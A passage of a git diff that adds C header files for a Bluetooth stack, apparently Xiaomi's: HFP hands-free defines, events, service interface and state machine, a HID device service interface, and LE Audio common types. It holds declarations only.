License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __HFP_DEFINE_H__ +#define __HFP_DEFINE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include <stdint.h> + +/* * HFP HF supported features - bit mask */ +#define HFP_BRSF_HF_NREC 0x00000001 /* * 0, EC and/or NR function */ +#define HFP_BRSF_HF_3WAYCALL 0x00000002 /* * 1, Call waiting and 3-way calling */ +#define HFP_BRSF_HF_CLIP 0x00000004 /* * 2, CLI presentation capability */ +#define HFP_BRSF_HF_BVRA 0x00000008 /* * 3, Voice recognition activation */ +#define HFP_BRSF_HF_RMTVOLCTRL 0x00000010 /* * 4, Remote volume control */ +#define HFP_BRSF_HF_ENHANCED_CALLSTATUS 0x00000020 /* * 5, Enhanced call status */ +#define HFP_BRSF_HF_ENHANCED_CALLCONTROL 0x00000040 /* * 6, Enhanced call control */ +#define HFP_BRSF_HF_CODEC_NEGOTIATION 0x00000080 /* * 7, Codec negotiation */ +#define HFP_BRSF_HF_HFINDICATORS 0x00000100 /* * 8, HF Indicators */ +#define HFP_BRSF_HF_ESCO_S4T2_SETTING 0x00000200 /* * 9, eSCO S4 (and T2) settings supported */ + +/* * HFP AG supported features - bit mask */ +#define HFP_BRSF_AG_3WAYCALL 0x00000001 /* * 0, Three-way calling */ +#define HFP_BRSF_AG_NREC 0x00000002 /* * 1, EC and/or NR function */ +#define HFP_BRSF_AG_BVRA 0x00000004 /* * 2, Voice recognition function */ +#define HFP_BRSF_AG_INBANDRING 0x00000008 /* * 3, In-band ring tone capability */ +#define HFP_BRSF_AG_BINP 0x00000010 /* * 4, Attach a number to a voice tag */ +#define HFP_BRSF_AG_REJECT_CALL 0x00000020 /* * 5, Ability to reject a call */ +#define HFP_BRSF_AG_ENHANCED_CALLSTATUS 0x00000040 /* * 6, Enhanced call status */ +#define HFP_BRSF_AG_ENHANCED_CALLCONTROL 0x00000080 /* * 7, Enhanced call control */ +#define HFP_BRSF_AG_EXTENDED_ERRORRESULT 0x00000100 /* * 8, Extended Error Result Codes */ +#define HFP_BRSF_AG_CODEC_NEGOTIATION 0x00000200 /* * 9, Codec negotiation */ +#define HFP_BRSF_AG_HFINDICATORS 0x00000400 /* * 10, HF Indicators */ +#define HFP_BRSF_AG_eSCO_S4T2_SETTING 0x00000800 /* * 11, eSCO S4 (and T2) settings supported */ + +/* * HFP AG proprietary features[31:16] - bit mask */ +#define HFP_FEAT_AG_UNKNOWN_AT_CMD 0x00020000 /* Pass unknown AT commands to app */ + +typedef enum { + HFP_IN_BAND_RINGTONE_NOT_PROVIDED = 0, + HFP_IN_BAND_RINGTONE_PROVIDED, +} hfp_in_band_ring_state_t; + +typedef enum { + HFP_CODEC_UNKONWN, /* init state */ + HFP_CODEC_MSBC, + HFP_CODEC_CVSD +} hfp_codec_type_t; + +typedef struct { + uint32_t sample_rate; + uint8_t codec; + uint8_t bit_width; + uint8_t reserved1; + uint8_t reserved2; +} hfp_codec_config_t; + +typedef enum { + HFP_ATCMD_CODE_ATA = 0x01, + HFP_ATCMD_CODE_ATD = 0x02, + HFP_ATCMD_CODE_BLDN = 0x1A, + HFP_ATCMD_CODE_UNKNOWN = 0xFFFF, +} hfp_atcmd_code_t; + +typedef enum { + HFP_ATCMD_RESULT_OK, /* OK received */ + HFP_ATCMD_RESULT_TIMEOUT, /* Timeout before receiving any result code */ + HFP_ATCMD_RESULT_ERROR, /* ERROR received */ + HFP_ATCMD_RESULT_NOCARRIER, /* NO CARRIER received */ + HFP_ATCMD_RESULT_BUSY, /* BUSY received */ + HFP_ATCMD_RESULT_NOANSWER, /* NO ANSWER received */ + HFP_ATCMD_RESULT_DELAYED, /* DELAYED received */ + HFP_ATCMD_RESULT_BLACKLISTED, /* BLACKLISTED received */ + + HFP_ATCMD_RESULT_CMEERR = 10, /* Start of CME ERROR code */ + HFP_ATCMD_RESULT_CMEERR_AGFAILURE = HFP_ATCMD_RESULT_CMEERR, /* CME ERROR: 0 - AG failure */ + HFP_ATCMD_RESULT_CMEERR_NOCONN2PHONE, /* CME ERROR: 1 - No connection to phone */ + HFP_ATCMD_RESULT_CMEERR_OPERATION_NOTALLOWED, + HFP_ATCMD_RESULT_CMEERR_OPERATION_NOTSUPPORTED, + HFP_ATCMD_RESULT_CMEERR_PHSIMPIN_REQUIRED, + + HFP_ATCMD_RESULT_CMEERR_SIMNOT_INSERTED = HFP_ATCMD_RESULT_CMEERR + 10, /* CME ERROR: 10 - SIM not inserted */ + HFP_ATCMD_RESULT_CMEERR_SIMPIN_REQUIRED, + HFP_ATCMD_RESULT_CMEERR_SIMPUK_REQUIRED, + HFP_ATCMD_RESULT_CMEERR_SIM_FAILURE, + HFP_ATCMD_RESULT_CMEERR_SIM_BUSY, + + HFP_ATCMD_RESULT_CMEERR_INCORRECT_PASSWORD = HFP_ATCMD_RESULT_CMEERR + 16, /* CME ERROR: 16 - Incorrect password */ + HFP_ATCMD_RESULT_CMEERR_SIMPIN2_REQUIRED, + HFP_ATCMD_RESULT_CMEERR_SIMPUK2_REQUIRED, + + HFP_ATCMD_RESULT_CMEERR_MEMORY_FULL = HFP_ATCMD_RESULT_CMEERR + 20, /* CME ERROR: 10 - Memory full */ + HFP_ATCMD_RESULT_CMEERR_INVALID_INDEX, + + HFP_ATCMD_RESULT_CMEERR_MEMORY_FAILURE = HFP_ATCMD_RESULT_CMEERR + 23, /* CME ERROR: 10 - Memory failure */ + HFP_ATCMD_RESULT_CMEERR_TEXTSTRING_TOOLONG, + HFP_ATCMD_RESULT_CMEERR_INVALID_CHARACTERS_INTEXTSTRING, + HFP_ATCMD_RESULT_CMEERR_DIAL_STRING_TOOLONG, + HFP_ATCMD_RESULT_CMEERR_INVALID_CHARACTERS_INDIALSTRING, + + HFP_ATCMD_RESULT_CMEERR_NETWORK_NOSERVICE = HFP_ATCMD_RESULT_CMEERR + 30, /* CME ERROR: 10 - No network service */ + HFP_ATCMD_RESULT_CMEERR_NETWORK_TIMEOUT, + HFP_ATCMD_RESULT_CMEERR_NETWORK_NOTALLOWED_EMERGENCYCALL_ONLY, + + /* The other CME error codes */ + +} hfp_atcmd_result_t; + +#endif /* __HFP_DEFINE_H__ */ \ No newline at end of file diff --git a/service/profiles/include/hfp_hf_event.h b/service/profiles/include/hfp_hf_event.h new file mode 100644 index 0000000000000000000000000000000000000000..7b530c75ef3a2453b03607cd3e618c1415a4e354 --- /dev/null +++ b/service/profiles/include/hfp_hf_event.h @@ -0,0 +1,112 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __HFP_HF_EVENT_H__ +#define __HFP_HF_EVENT_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_addr.h" +#include <stdint.h> +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define HF_MSG_ADD_STR(msg, num, str, len) \ + if (str != NULL && len != 0) { \ + msg->data.string##num = malloc(len + 1); \ + msg->data.string##num[len] = '\0'; \ + memcpy(msg->data.string##num, str, len); \ + } else { \ + msg->data.string##num = NULL; \ + } + +typedef enum { + HF_CONNECT, + HF_DISCONNECT, + HF_CONNECT_AUDIO, + HF_DISCONNECT_AUDIO, + HF_VOICE_RECOGNITION_START, + HF_VOICE_RECOGNITION_STOP, + HF_SET_VOLUME, + HF_DIAL_NUMBER, + HF_DIAL_MEMORY, + HF_DIAL_LAST, + HF_ACCEPT_CALL, + HF_REJECT_CALL, + HF_HOLD_CALL, + HF_TERMINATE_CALL, + HF_CONTROL_CALL, + HF_QUERY_CURRENT_CALLS, + HF_QUERY_CURRENT_CALLS_WITH_CALLBACK, + HF_SEND_AT_COMMAND, + HF_UPDATE_BATTERY_LEVEL, + HF_SEND_DTMF, + HF_GET_SUBSCRIBER_NUMBER, + HF_STARTUP, + HF_SHUTDOWN, + HF_TIMEOUT, + HF_OFFLOAD_START_REQ, + HF_OFFLOAD_STOP_REQ, + HF_OFFLOAD_START_EVT, + HF_OFFLOAD_STOP_EVT, + HF_OFFLOAD_TIMEOUT_EVT, + HF_STACK_EVENT, + HF_STACK_EVENT_AUDIO_REQ, + HF_STACK_EVENT_CONNECTION_STATE_CHANGED, + HF_STACK_EVENT_AUDIO_STATE_CHANGED, + HF_STACK_EVENT_VR_STATE_CHANGED, + HF_STACK_EVENT_CALL, + HF_STACK_EVENT_CALLSETUP, + HF_STACK_EVENT_CALLHELD, + HF_STACK_EVENT_CLIP, + HF_STACK_EVENT_CALL_WAITING, + HF_STACK_EVENT_CURRENT_CALLS, + HF_STACK_EVENT_VOLUME_CHANGED, + HF_STACK_EVENT_CMD_RESPONSE, + HF_STACK_EVENT_CMD_RESULT, + HF_STACK_EVENT_RING_INDICATION, + HF_STACK_EVENT_CODEC_CHANGED, + HF_STACK_EVENT_CNUM, +} hfp_hf_event_t; + +typedef struct +{ + bt_address_t addr; + uint64_t valueint1; + uint32_t valueint2; + uint32_t valueint3; + uint32_t valueint4; + size_t size; + char* string1; + char* string2; + void* data; +} hfp_hf_data_t; + +typedef struct +{ + hfp_hf_event_t event; + hfp_hf_data_t data; +} hfp_hf_msg_t; + +/**************************************************************************** + * Public Functions + ****************************************************************************/ +hfp_hf_msg_t* hfp_hf_msg_new(hfp_hf_event_t event, bt_address_t* addr); +hfp_hf_msg_t* hfp_hf_msg_new_ext(hfp_hf_event_t event, bt_address_t* addr, + void* data, size_t size); +void hfp_hf_msg_destroy(hfp_hf_msg_t* msg); + +#endif /* __HFP_HF_EVENT_H__ */ diff --git a/service/profiles/include/hfp_hf_service.h b/service/profiles/include/hfp_hf_service.h new file mode 100644 index 0000000000000000000000000000000000000000..4aee49dbd21f6adc86bf697b8c0b4bb6299db9c9 --- /dev/null +++ b/service/profiles/include/hfp_hf_service.h @@ -0,0 +1,144 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __HFP_HF_SERVICE_H__ +#define __HFP_HF_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "audio_transport.h" +#include "bt_device.h" +#include "bt_hfp_hf.h" +#include "hfp_define.h" +#include "hfp_hf_event.h" + +typedef enum { + HFP_HF_STATE_DISCONNECTED = 0, + HFP_HF_STATE_CONNECTING, + HFP_HF_STATE_DISCONNECTING, + HFP_HF_STATE_CONNECTED, + HFP_HF_STATE_AUDIO_CONNECTED +} hfp_hf_state_t; + +typedef struct { + hfp_call_t call_status; + hfp_callsetup_t callsetup_status; + hfp_callheld_t callheld_status; +} hfp_hf_call_cache_t; + +typedef struct { + hfp_call_t call_status; + uint64_t call_timestamp_us; + hfp_callsetup_t callsetup_status; + uint64_t callsetup_timestamp_us; + hfp_callheld_t callheld_status; + uint64_t callheld_timestamp_us; + uint64_t dialing_timestamp_us; + hfp_hf_call_cache_t last_reported; +#ifdef CONFIG_HFP_HF_WEBCHAT_BLOCKER + uint64_t webchat_flag_timestamp_us; +#endif +} hfp_hf_call_status_t; + +/* + * sal callback + */ +void hfp_hf_on_connection_state_changed(bt_address_t* addr, profile_connection_state_t state, + profile_connection_reason_t reason, uint32_t remote_features); +void hfp_hf_on_audio_connection_state_changed(bt_address_t* addr, + hfp_audio_state_t state, + uint16_t sco_connection_handle); +void hfp_hf_on_codec_changed(bt_address_t* addr, hfp_codec_config_t* config); +void hfp_hf_on_call_setup_state_changed(bt_address_t* addr, hfp_callsetup_t setup); +void hfp_hf_on_call_active_state_changed(bt_address_t* addr, hfp_call_t state); +void hfp_hf_on_call_held_state_changed(bt_address_t* addr, hfp_callheld_t state); +void hfp_hf_on_volume_changed(bt_address_t* addr, hfp_volume_type_t type, uint8_t volume); +void hfp_hf_on_ring_active_state_changed(bt_address_t* addr, bool active, hfp_in_band_ring_state_t inband_ring); +void hfp_hf_on_voice_recognition_state_changed(bt_address_t* addr, bool started); +void hfp_hf_on_received_at_cmd_resp(bt_address_t* addr, char* response, uint16_t response_length); +void hfp_hf_on_received_sco_connection_req(bt_address_t* addr); +void hfp_hf_on_clip(bt_address_t* addr, const char* number, const char* name); +void hfp_hf_on_current_call_response(bt_address_t* addr, uint32_t idx, + hfp_call_direction_t dir, + hfp_hf_call_state_t status, + hfp_call_mpty_type_t mpty, + const char* number, uint32_t type); +void hfp_hf_on_at_command_result_response(bt_address_t* addr, uint32_t at_cmd_code, uint32_t result); +void hfp_hf_on_subscriber_number_response(bt_address_t* addr, const char* number, hfp_subscriber_number_service_t service); + +/* + * statemachine callbacks + */ + +void hf_service_notify_connection_state_changed(bt_address_t* addr, profile_connection_state_t state); +void hf_service_notify_audio_state_changed(bt_address_t* addr, hfp_audio_state_t state); +void hf_service_notify_vr_state_changed(bt_address_t* addr, bool started); +void hf_service_notify_call_state_changed(bt_address_t* addr, hfp_current_call_t* call); +void hf_service_notify_cmd_complete(bt_address_t* addr, const char* resp); +void hf_service_notify_ring_indication(bt_address_t* addr, bool inband_ring_tone); +void hf_service_notify_volume_changed(bt_address_t* addr, hfp_volume_type_t type, uint8_t volume); +void hf_service_notify_call(bt_address_t* addr, hfp_call_t call); +void hf_service_notify_callsetup(bt_address_t* addr, hfp_callsetup_t callsetup); +void hf_service_notify_callheld(bt_address_t* addr, hfp_callheld_t callheld); +void hf_service_notify_clip_received(bt_address_t* addr, const char* number, const char* name); +void hf_service_notify_subscriber_number(bt_address_t* addr, const char* number, hfp_subscriber_number_service_t service); +void hf_service_notify_current_calls(bt_address_t* addr, uint8_t num, hfp_current_call_t* calls); + +/* + * service api + */ + +bt_status_t hfp_hf_send_event(bt_address_t* addr, hfp_hf_event_t evt); +bool hfp_hf_on_sco_start(void); +bool hfp_hf_on_sco_stop(void); + +typedef struct hf_interface { + size_t size; + void* (*register_callbacks)(void* remote, const hfp_hf_callbacks_t* callbacks); + bool (*unregister_callbacks)(void** remote, void* cookie); + bool (*is_connected)(bt_address_t* addr); + bool (*is_audio_connected)(bt_address_t* addr); + profile_connection_state_t (*get_connection_state)(bt_address_t* addr); + bt_status_t (*connect)(bt_address_t* addr); + bt_status_t (*disconnect)(bt_address_t* addr); + bt_status_t (*set_connection_policy)(bt_address_t* addr, connection_policy_t policy); + bt_status_t (*connect_audio)(bt_address_t* addr); + bt_status_t (*disconnect_audio)(bt_address_t* addr); + bt_status_t (*start_voice_recognition)(bt_address_t* addr); + bt_status_t (*stop_voice_recognition)(bt_address_t* addr); + bt_status_t (*dial)(bt_address_t* addr, const char* number); + bt_status_t (*dial_memory)(bt_address_t* addr, uint32_t memory); + bt_status_t (*redial)(bt_address_t* addr); + bt_status_t (*accept_call)(bt_address_t* addr, hfp_call_accept_t flag); + bt_status_t (*reject_call)(bt_address_t* addr); + bt_status_t (*hold_call)(bt_address_t* addr); + bt_status_t (*terminate_call)(bt_address_t* addr); + bt_status_t (*control_call)(bt_address_t* addr, hfp_call_control_t chld, uint8_t index); + bt_status_t (*query_current_calls)(bt_address_t* addr, hfp_current_call_t** calls, int* num, bt_allocator_t allocator); + bt_status_t (*send_at_cmd)(bt_address_t* addr, const char* cmd); + bt_status_t (*update_battery_level)(bt_address_t* addr, uint8_t level); + bt_status_t (*volume_control)(bt_address_t* addr, hfp_volume_type_t type, uint8_t volume); + bt_status_t (*send_dtmf)(bt_address_t* addr, char dtmf); + bt_status_t (*get_subscriber_number)(bt_address_t* addr); + bt_status_t (*query_current_calls_with_callback)(bt_address_t* addr); +} hfp_hf_interface_t; + +/* + * register profile to service manager + */ +void register_hfp_hf_service(void); + +#endif /* __HFP_HF_SERVICE_H__ */ \ No newline at end of file diff --git a/service/profiles/include/hfp_hf_state_machine.h b/service/profiles/include/hfp_hf_state_machine.h new file mode 100644 index 0000000000000000000000000000000000000000..aa573ac5f160024edeeeed08b12d82a4701e3f62 --- /dev/null +++ b/service/profiles/include/hfp_hf_state_machine.h @@ -0,0 +1,46 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __HFP_HF_STATE_MACHINE_H__ +#define __HFP_HF_STATE_MACHINE_H__ + +#include "hfp_hf_event.h" +#include "service_loop.h" +#include "state_machine.h" + +typedef enum pending_state { + PENDING_NONE = 0x0, + PENDING_OFFLOAD_START = 0x02, + PENDING_OFFLOAD_STOP = 0x04, + // PENDING_DISCONNECT = 0x08, + PENDING_AUDIO_DISCONNECT = 0x10, + PENDING_CURRENT_CALLS_QUERY = 0X20, +} pending_state_t; + +typedef struct _hf_state_machine hf_state_machine_t; + +hf_state_machine_t* hf_state_machine_new(bt_address_t* addr, void* context); +void hf_state_machine_destory(hf_state_machine_t* hfsm); +void hf_state_machine_dispatch(hf_state_machine_t* hfsm, hfp_hf_msg_t* msg); +uint32_t hf_state_machine_get_state(hf_state_machine_t* hfsm); +bt_list_t* hf_state_machine_get_calls(hf_state_machine_t* hfsm); +uint16_t hf_state_machine_get_sco_handle(hf_state_machine_t* hfsm); +void hf_state_machine_set_sco_handle(hf_state_machine_t* hfsm, uint16_t sco_hdl); +uint8_t hf_state_machine_get_codec(hf_state_machine_t* hfsm); +void hf_state_machine_set_offloading(hf_state_machine_t* hfsm, bool offloading); +void hf_state_machine_set_policy(hf_state_machine_t* hfsm, connection_policy_t policy); +// hf_client_connection_state_t hf_client_get_conn_state(hf_state_machine_t* sm); + +#endif /* __HFP_HF_STATE_MACHINE_H__ */ diff --git a/service/profiles/include/hid_device_service.h b/service/profiles/include/hid_device_service.h new file mode 100644 index 0000000000000000000000000000000000000000..0761e08047479eb0b0ec17a812bd1a3ed3ff67b2 --- /dev/null +++ b/service/profiles/include/hid_device_service.h @@ -0,0 +1,51 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __HID_DEVICE_SERVICE_H__ +#define __HID_DEVICE_SERVICE_H__ + +/**************************************************************************** + * Included Files + ****************************************************************************/ +#include "bt_device.h" +#include "bt_hid_device.h" + +typedef struct hid_device_interface { + size_t size; + void* (*register_callbacks)(void* remote, const hid_device_callbacks_t* callbacks); + bool (*unregister_callbacks)(void** remote, void* cookie); + bt_status_t (*register_app)(hid_device_sdp_settings_t* sdp, bool le_hid); + bt_status_t (*unregister_app)(void); + bt_status_t (*connect)(bt_address_t* addr); + bt_status_t (*disconnect)(bt_address_t* addr); + bt_status_t (*send_report)(bt_address_t* addr, uint8_t rpt_id, uint8_t* rpt_data, int rpt_size); + bt_status_t (*response_report)(bt_address_t* addr, uint8_t rpt_type, uint8_t* rpt_data, int rpt_size); + bt_status_t (*report_error)(bt_address_t* addr, hid_status_error_t error); + bt_status_t (*virtual_unplug)(bt_address_t* addr); +} hid_device_interface_t; + +void hid_device_on_app_state_changed(hid_app_state_t state); +void hid_device_on_connection_state_changed(bt_address_t* addr, bool le_hid, profile_connection_state_t state); +void hid_device_on_get_report(bt_address_t* addr, uint8_t rpt_type, uint8_t rpt_id, uint16_t buffer_size); +void hid_device_on_set_report(bt_address_t* addr, uint8_t rpt_type, uint16_t rpt_size, uint8_t* rpt_data); +void hid_device_on_receive_report(bt_address_t* addr, uint8_t rpt_type, uint16_t rpt_size, uint8_t* rpt_data); +void hid_device_on_virtual_cable_unplug(bt_address_t* addr); + +/* + * register profile to service manager + */ +void register_hid_device_service(void); + +#endif /* __HID_DEVICE_SERVICE_H__ */ \ No newline at end of file diff --git a/service/profiles/include/lea_audio_common.h b/service/profiles/include/lea_audio_common.h new file mode 100644 index 0000000000000000000000000000000000000000..8e7fd87bfbe4eb7e1275acd59e5d54f1c59425ac --- /dev/null +++ b/service/profiles/include/lea_audio_common.h @@ -0,0 +1,497 @@ +/**************************************************************************** + * service/profiles/include/lea_audio_sink.h + * + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. The + * ASF licenses this file to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance with the + * License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the + * License for the specific language governing permissions and limitations + * under the License. + * + ****************************************************************************/ + +/**************************************************************************** + * Included Files + ****************************************************************************/ + +#ifndef __LEA_AUDIO_COMMON_H__ +#define __LEA_AUDIO_COMMON_H__ + +#include <errno.h> +#include <stdlib.h> +#include <string.h> + +#include "bt_device.h" +#include "bt_list.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +#define LEA_BIT(_b) (1 << (_b)) +#define MAX_PROVIDER_NAME_LENGTH 16 +#define MAX_URI_SCHEMES_LENGTH 16 +#define MAX_INCOMING_CALL_URI_LENGTH 16 +#define MAX_CALL_URI_LENGTH 16 +#define MAX_UCI_LENGTH 8 +#define MAX_FRIENDLY_NAME_LENGTH 8 + +#ifndef CONFIG_BLUETOOTH_LEAUDIO_CLIENT_ASE_MAX_NUMBER +#define CONFIG_BLUETOOTH_LEAUDIO_CLIENT_ASE_MAX_NUMBER 2 +#endif + +#ifndef CONFIG_BLUETOOTH_LEAUDIO_CLIENT_MAX_DEVICES +#define CONFIG_BLUETOOTH_LEAUDIO_CLIENT_MAX_DEVICES 8 +#endif + +#ifndef CONFIG_BLUETOOTH_LEAUDIO_CLIENT_PAC_MAX_NUMBER +#define CONFIG_BLUETOOTH_LEAUDIO_CLIENT_PAC_MAX_NUMBER 3 +#endif + +#define LEA_CLIENT_MAX_STREAM_NUM (CONFIG_BLUETOOTH_LEAUDIO_CLIENT_ASE_MAX_NUMBER * CONFIG_BLUETOOTH_LEAUDIO_CLIENT_MAX_DEVICES) + +/**************************************************************************** + * Public Types + ****************************************************************************/ + +enum { /* UUIDs */ + GATT_UUID_MEDIA_CONTROL = 0x1848, + GATT_UUID_GENERIC_MEDIA_CONTROL = 0x1849, + GATT_UUID_TELEPHONE_BEARER = 0x184B, + GATT_UUID_GENERIC_TELEPHONE_BEARER = 0x184C, +}; + +typedef enum { + ADPT_LEA_GMCS_ID = 1, + ADPT_LEA_MCS1_ID, + ADPT_LEA_GTBS_ID, + ADPT_LEA_TBS1_ID, + ADPT_LEA_CSIS1_ID, + ADPT_LEA_SERVICE_MAX_ID, +} bt_lea_service_id; + +typedef enum { + ADPT_LEA_ASE_TARGET_LOW_LATENCY = 1, + ADPT_LEA_ASE_TARGET_BALANCED = 2, + ADPT_LEA_ASE_TARGET_HIGH_RELIABILITY = 3, +} lea_adpt_ase_target_latency_t; + +typedef enum { + ADPT_LEA_ASE_TARGET_PHY_1M = 1, + ADPT_LEA_ASE_TARGET_PHY_2M = 2, + ADPT_LEA_ASE_TARGET_PHY_CODED = 3, +} lea_adpt_ase_target_phy_t; + +typedef enum { + ADPT_LEA_METADATA_PREFERRED_AUDIO_CONTEXTS = 0x01, + ADPT_LEA_METADATA_STREAMING_AUDIO_CONTEXTS, + ADPT_LEA_METADATA_PROGRAM_INFO, + ADPT_LEA_METADATA_LANGUAGE, + ADPT_LEA_METADATA_CCID_LIST, + ADPT_LEA_METADATA_PARENTAL_RATING, + ADPT_LEA_METADATA_PROGRAM_INFO_URI, + ADPT_LEA_METADATA_EXTENDED_METADATA = 0xFE, + ADPT_LEA_METADATA_VENDOR_SPECIFIC = 0xFF, +} lea_adpt_metadata_type_t; + +typedef enum { + ADPT_LEA_ASE_STATE_IDLE, + ADPT_LEA_ASE_STATE_CODEC_CONFIG, + ADPT_LEA_ASE_STATE_QOS_CONFIG, + ADPT_LEA_ASE_STATE_ENABLING, + ADPT_LEA_ASE_STATE_STREAMING, + ADPT_LEA_ASE_STATE_DISABLING, + ADPT_LEA_ASE_STATE_RELEASING, +} lea_adpt_ase_state_t; + +typedef enum { + LEA_ASE_OP_CONFIG_CODEC, + LEA_ASE_OP_CONFIG_QOS, + LEA_ASE_OP_ENABLE, + LEA_ASE_OP_DISABLE, + LEA_ASE_OP_UPDATE_METADATA, + LEA_ASE_OP_RELEASE +} lea_ase_opcode; + +/* Possible TBS bearer technologies. */ +typedef enum { + ADPT_LEA_TBS_BEARER_RESERVED, /**< Reserved */ + ADPT_LEA_TBS_BEARER_3G, /**< 3G network */ + ADPT_LEA_TBS_BEARER_4G, /**< 4G network */ + ADPT_LEA_TBS_BEARER_LTE, /**< LTE network */ + ADPT_LEA_TBS_BEARER_WIFI, /**< Wi-Fi network */ + ADPT_LEA_TBS_BEARER_5G, /**< 5G network. */ + ADPT_LEA_TBS_BEARER_GSM, /**< GSM network. */ + ADPT_LEA_TBS_BEARER_CDMA, /**< CDMA network. */ + ADPT_LEA_TBS_BEARER_2G, /**< 2G network. */ + ADPT_LEA_TBS_BEARER_WCDMA, /**< WCDMA network. */ +} lea_adpt_bearer_technology_t; + +enum { + ADPT_LEA_CALL_FLAGS_OUTGOING_CALL = 0x01, + ADPT_LEA_CALL_FLAGS_INFORMATION_WITHHELD_BY_SERVER = 0x02, + ADPT_LEA_CALL_FLAGS_INFORMATION_WITHHELD_BY_NETWORK = 0x04 +}; + +typedef enum { + ADPT_LEA_TBS_CALL_STATE_INCOMING, /**< Incoming call: a remote party is calling. */ + ADPT_LEA_TBS_CALL_STATE_DIALING, /**< Dialing (outgoing call): Call the remote party, but remote party is not being alerted. */ + ADPT_LEA_TBS_CALL_STATE_ALERTING, /**< Alerting (outgoing call): Remote party is being alerted. */ + ADPT_LEA_TBS_CALL_STATE_ACTIVE, /**< Active (ongoing call): The call is in an active conversation. */ + ADPT_LEA_TBS_CALL_STATE_LOCALLY_HELD, /**< Locally Held: The call is held locally. */ + ADPT_LEA_TBS_CALL_STATE_REMOTELY_HELD, /**< Remotely Held: The call is held by the remote party. */ + ADPT_LEA_TBS_CALL_STATE_BOTH_HELD, /**< Locally and Remotely Held: The call is held both locally and remotely. */ + ADPT_LEA_TBS_CALL_STATE_INVAILD, +} lea_adpt_call_state_t; + +/** Call control point opcodes. */ +typedef enum { + ADPT_LEA_TBS_CALL_CONTROL_ACCEPT, /**< Accept the specified incoming call. */ + ADPT_LEA_TBS_CALL_CONTROL_TERMINATE, /**< End the specified active, alerting, dialing, incoming or held call. */ + ADPT_LEA_TBS_CALL_CONTROL_LOCAL_HOLD, /**< Place the specified active or incoming call on local hold. */ + ADPT_LEA_TBS_CALL_CONTROL_LOCAL_RETRIEVE, /**< If the specified call is locally held, move it to an active call. Or, if it is locally and remotely held, move it to a remotely held call.*/ + ADPT_LEA_TBS_CALL_CONTROL_ORIGINATE, /**< Initiate a call to the remote party identified by the URI. */ + ADPT_LEA_TBS_CALL_CONTROL_JOIN, /**< Put calls (not in remotely held state) in the list to active and join the calls. Any calls in one of the remotely held state move to remotely held state and are joined with the other calls. */ +} lea_adpt_call_control_opcode_t; + +typedef enum { + ADPT_LEA_TBS_REASON_URI, /**< Improperly formed URI value. */ + ADPT_LEA_TBS_REASON_CALL_FAILED, /**< The call failed. */ + ADPT_LEA_TBS_REASON_ENDED_BY_REMOTE, /**< The remote party ended the call. */ + ADPT_LEA_TBS_REASON_ENDED_FROM_SERVER, /**< The call ended from the server. */ + ADPT_LEA_TBS_REASON_LINE_WAS_BUSY, /**< The line was busy. */ + ADPT_LEA_TBS_REASON_NETWORK_CONGESTION, /**< Network congestion. */ + ADPT_LEA_TBS_REASON_ENDED_BY_CLIENT, /**< The client terminated the call. */ + ADPT_LEA_TBS_REASON_NO_SERVICE, /**< No service. */ + ADPT_LEA_TBS_REASON_NO_ANSWER, /**< No answer. */ + ADPT_LEA_TBS_REASON_UNSPECIFIED, /**< Any other unspecified reason. */ +} lea_adpt_termination_reason_t; + +/** Result of call control operation. */ +typedef enum { + ADPT_LEA_TBS_CALL_CONTROL_SUCCESS, /**< The operation was successful. */ + ADPT_LEA_TBS_CALL_CONTROL_NOT_SUPPORTED, /**< An invalid opcode was used. */ + 